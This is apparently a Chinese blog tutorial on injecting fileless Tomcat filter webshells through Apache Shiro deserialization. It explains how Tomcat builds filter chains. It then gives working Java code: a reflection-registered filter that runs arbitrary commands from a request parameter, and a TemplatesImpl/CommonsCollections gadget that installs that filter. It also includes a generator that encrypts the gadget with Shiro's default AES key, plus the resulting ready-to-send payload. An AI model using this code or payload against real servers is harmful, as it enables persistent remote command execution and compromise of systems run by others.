Loading

shiro 内存马

shiro 内存马

前言

学习内存马可以先了解一下tomcat的机制:Tomcat的概念及启动原理浅析_tomcat会调用无参构造-CSDN博客

关于内存马最初的样子就是利用文件上传 jsp 脚本,在脚本里实现动态注册一个 listener、filter 或者 servlet 这样的 http 处理组件,我们可以在代码里实现注册成功后删除这个 jsp 脚本,从而做到无文件的内存马。通过 shiro 打内存马,其实本质上跟 jsp 是一样的,都是通过动态的注册一个请求处理组件。不同的就是我们需要利用像 TemplatesImpl 这样具有类加载、实例化能力的反序列链或者其他具有类加载、实例化能力的漏洞,在执行静态代码块时,动态创建而已。

不过仍有一些不同的挑战,jsp 脚本会被 tomcat 编译为 servlet 脚本,我们可以直接访问 request 和 response 对象。而通过反序列化打入的内存马,我们需要寻找全局可用的 request 和 response 对象,才可以实现回显的内存马

我们先来看普通的内存马是如何产生的

三大组件调用流程
image-20250220093049720

其实内存马主要就是依赖于 javax.servlet.ServletContext 的动态进行注册注册机制

在 Web 容器初始化的时候(即建立 ServletContext 对象的时候)进行动态注册。可以看到 ServletContext 提供了 add /create 方法来实现动态注册的功能。

ServletContext 提供的接口

public ServletRegistration.Dynamic addServlet(String servletName, String className);
public ServletRegistration.Dynamic addServlet(String servletName, Servlet servlet);
public ServletRegistration.Dynamic addServlet(String servletName, Class <? extends Servlet> servletClass);

public FilterRegistration.Dynamic addFilter(String filterName, String className);
public FilterRegistration.Dynamic addFilter(String filterName, Filter filter);
public FilterRegistration.Dynamic addFilter(String filterName, Class <? extends Filter> filterClass);

public void addListener(String className);
public <T extends EventListener> void addListener(T t);
public void addListener(Class <? extends EventListener> listenerClass);

这些接口就给内存马的注入提供了可能

Filter 内存马

其实本质就是利用 context 动态注册一个 Filter 过滤器,处理 http 请求,再 doFilter 方法中实现命令执行的逻辑

可以转到 org.apache.catalina.core.ApplicationContext#addFilter 看一下 addFilter 的实现

private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
    throws IllegalStateException {

    // 检查过滤器名称是否为 null 或空字符串,如果是则抛出异常
    if (filterName == null || filterName.equals("")) {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
    }

    // TODO Spec breaking enhancement to ignore this restriction
    // 检查上下文状态是否为 STARTING_PREP,如果不是则抛出异常
    checkState("applicationContext.addFilter.ise");

    // 尝试从上下文中查找指定名称的过滤器定义
    FilterDef filterDef = context.findFilterDef(filterName);

    if (filterDef == null) {
        // 如果过滤器定义不存在,则创建一个新的过滤器定义
        filterDef = new FilterDef();
        // 设置过滤器名称
        filterDef.setFilterName(filterName);
        // 将新的过滤器定义添加到StandardContext 
        context.addFilterDef(filterDef);
    } else {
        // 如果过滤器定义已经存在,并且名称和类名都不为 null,则返回 null
        if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
            return null;
        }
    }

    // 如果没有提供过滤器实例,则使用类名设置过滤器定义
    if (filter == null) {
        filterDef.setFilterClass(filterClass);
    } else {
        // 如果提供了过滤器实例,则使用实例的类名设置过滤器定义,并设置过滤器实例
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
    }

    // 创建并返回一个新的应用过滤器注册对象
    return new ApplicationFilterRegistration(filterDef, context);
}

当然直接通过这个方法是无法创建成功的,因为它只是返回了 ApplicationFilterRegistration 并没有把 filter 添加到 filterChain 中,而且它具有一个状态检测的限制 applicationContext.addFilter.ise 这个表示 tomcat 正在启动过程中。

那我们来看看 filterChain 是如何创建的,org.apache.catalina.core.ApplicationFilterFactory#createFilterChain 这个方法动态生成每次的 filterChain,我们如果可以让这个方法每次都能获取到我们 恶意的filter 不就可以完成 filter 的注册了吗,看一下这个 filterChain 的生成逻辑

代码有点长,保留了主要部分

// 从StandardContext 获取filterMaps 集合
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
    if (!matchDispatcher(filterMap, dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMap, requestPath)) {
        continue;
    }
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
    filterChain.addFilter(filterConfig);
}

// Return the completed filter chain
return filterChain;

再 filterConfig 中有 filter 和 filterDef 定义

image-20250423140403396

看到都是从 StandardContext 这个上下文获取到对应的 filter 然后 filterChain 会做相应的匹配,获取到 filterConfig 再把 filter 添加到 filterChain,后续就返回 filterChain 在 StandardWrapperValve#Invoke 中执行 doFilter 方法

image-20250423141145209

通过上述流程可以知道,每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。这样程序创建时就可以找到添加的 Filter 了。

知道上述流程后,我们已经知道 filter 注册需要哪些东西了,利用反射创建出来,放到 StandardContext 中就可以了

package com.lingx5.servlet;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;

@WebServlet("/addFilter")
public class addFilterServlet extends HttpServlet {

    class addFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}
        @Override
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException {
            // 操作系统检测逻辑
            String os = System.getProperty("os.name").toLowerCase();
            String charset = os.contains("win") ? "GBK" : "UTF-8";
            String shell = os.contains("win") ? "cmd /c" : "/bin/sh -c";

            // 命令执行处理流程
            String cmd = req.getParameter("cmd");
            Runtime.getRuntime().exec(shell + cmd);
            // 继续过滤链,将请求传递给 Servlet
            filterChain.doFilter(req, res);
        }
        @Override
        public void destroy() {}
    }

    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        try {
            // 获取StandardContext上下文
            ServletContext servletContext = getServletContext();
            StandardContext standardContext = null;
            /*
            * 循环是因为 req.getServletContext() 返回的是 ApplicationContextFacade,
            * 并且它的 context 指向 ApplicationContext,
            * 再进一步取 context 就能到达 StandardContext
            * 但是由于环境的不确定性,我们循环获取StandardContext
            * */
            while (standardContext == null){
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                Object obj = context.get(servletContext);
                if (obj instanceof ServletContext){
                    servletContext = (ServletContext)obj;
                } else if (obj instanceof  StandardContext) {
                    standardContext = (StandardContext)obj;
                }
            }
            // 创建FilterDef对象
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(new addFilter());
            filterDef.setFilterName("addFilter");
            filterDef.setFilterClass(addFilter.class.getName());
            // 创建 ApplicationFilterConfig 对象
            Constructor<ApplicationFilterConfig> filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            filterConfigConstructor.setAccessible(true);
            ApplicationFilterConfig config = filterConfigConstructor.newInstance(standardContext, filterDef);
            // 创建 FilterMap 对象
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/lingx5");
            filterMap.setFilterName("addFilter");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            // 将ApplicationFilterConfig对象添加到StandardContext中
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
            map.put("addFilter", config);
            // 将FilterMap添加到StandardContext中
            Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
            filterMaps.setAccessible(true);
            Object o = filterMaps.get(standardContext);
            Class<?> aClass = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
            // addBefore 将 filter 放在第一位
            Method addBefore = aClass.getDeclaredMethod("addBefore", FilterMap.class);
            addBefore.setAccessible(true);
            addBefore.invoke(o, filterMap);
            res.getWriter().println("addFilter success");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
}

测试一下,我们添加的 url 路径就是 servlet 的路径,访问 /addFilter 执行 sevice 方法,添加内存马。

然后访问我们给 filter 添加的映射路径 /lingx5 加上参数 cmd

首次访问

http://localhost:8080/memoshell/lingx5?cmd=calc

image-20250423144528762

没有任何反应

我们访问 /addFilter

image-20250423144028661

添加成功,再次访问 /lingx5

image-20250423144609673

弹出来计算机

因为是 filter 内存马,doFilter 传递的参数是 ServletRequest 和 ServletResponse 不能直接实现回显。当然还是有师傅研究出来了可以回显的 filter 内存马

反序列化打内存马

很容易看出来,上述内存马还得借助文件上传的漏洞,访问 /addFilter 执行 service 方法,才能够完成。那我们怎么利用反序列化这样的方式,实现真正的无文件创建内存马呢?

答案其实也是很简单的,还记得反序列化链里有 templatesImpl 这个为终点的利用链吗?它不就有实现类加载执行静态代码块的能力,我们把内存马的注入动作放到静态代码块里不就可以了

构造一下,也比较简单(先不考虑回显的问题)

用 templates 实现类加载,我们的类要继承 AbstractTranslet

创建一个 addFilter 类 获取 context 和 在 service 方法 略有区别,具体可以看这篇文章 Java 内存马:一种 Tomcat 全版本获取 StandardContext 的新方法-先知社区 对获取 context 做了总结

shiro-Filter

我这里是 tomcat8.5.27 ,在 8.5.x 的高版本也不适用

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
@WebFilter
public class addFilter extends AbstractTranslet implements javax.servlet.Filter  {
    static {
        try {
            // 获取StandardContext上下文
            WebappClassLoaderBase webappClassLoaderBase =
                (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            // 创建FilterDef对象
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(new addFilter());
            filterDef.setFilterName("addFilter");
            filterDef.setFilterClass(addFilter.class.getName());
            // 创建 ApplicationFilterConfig 对象
            Constructor<ApplicationFilterConfig> filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            filterConfigConstructor.setAccessible(true);
            ApplicationFilterConfig config = filterConfigConstructor.newInstance(standardContext, filterDef);
            // 创建 FilterMap 对象
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/lingx5");
            filterMap.setFilterName("addFilter");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            // 将ApplicationFilterConfig对象添加到StandardContext中
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
            map.put("addFilter", config);
            // 将FilterMap添加到StandardContext中
            Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
            filterMaps.setAccessible(true);
            Object o = filterMaps.get(standardContext);
            Class<?> aClass = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps");
            // addBefore 将 filter 放在第一位
            Method addBefore = aClass.getDeclaredMethod("addBefore", FilterMap.class);
            addBefore.setAccessible(true);
            addBefore.invoke(o, filterMap);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("执行doFilter");
        Runtime.getRuntime().exec("cmd /c calc");
    }

    @Override
    public void destroy() {

    }
}

我可以用 javassist 生成对应的字节码

public static byte[] getEvil() throws Exception {
    ClassPool ctClass = ClassPool.getDefault();
    CtClass evil = ctClass.get(addFilter.class.getName());
    return evil.toBytecode();
}

后面就是构造 Templates 的链条实现类加载了

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC321Memory {
    public static byte[] getEvil() throws Exception {
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.get(addFilter.class.getName());
        return evil.toBytecode();
    }
    public static void setField(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Map gadGet() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_bytecodes", new byte[][]{getEvil()});
        setField(templates, "_name", "addFilter");
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> map = new HashMap<>();
        map.put(tiedMapEntry,"lingx5");
        setField(lazyMap,"factory",invokerTransformer);
        lazyMap.remove(templates);
        return map;

    }

  
    public static void main(String[] args) throws Exception {
        // 序列化map gadget
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(gadGet());
        byte[] CC321bytes = baos.toByteArray();
        // AES加密
        byte[] encryptKey = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        SecretKeySpec key = new SecretKeySpec(encryptKey, "AES");
        // 创建IV 随encrypt一起传输
        byte[] IV = new byte[16];
        IvParameterSpec ivSpec = new IvParameterSpec(IV);
        cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec);
        byte[] enEvilbytes = cipher.doFinal(CC321bytes);
        // 拼接IV和加密后的CC321
        byte[] IVandEncrypt = new byte[IV.length + enEvilbytes.length];
        System.arraycopy(IV, 0, IVandEncrypt, 0, IV.length);
        System.arraycopy(enEvilbytes, 0, IVandEncrypt, IV.length, enEvilbytes.length);
        String IVandEncryptB64 = Base64.encodeToString(IVandEncrypt);
        System.out.println(IVandEncryptB64);
    }
}

生成的 payload

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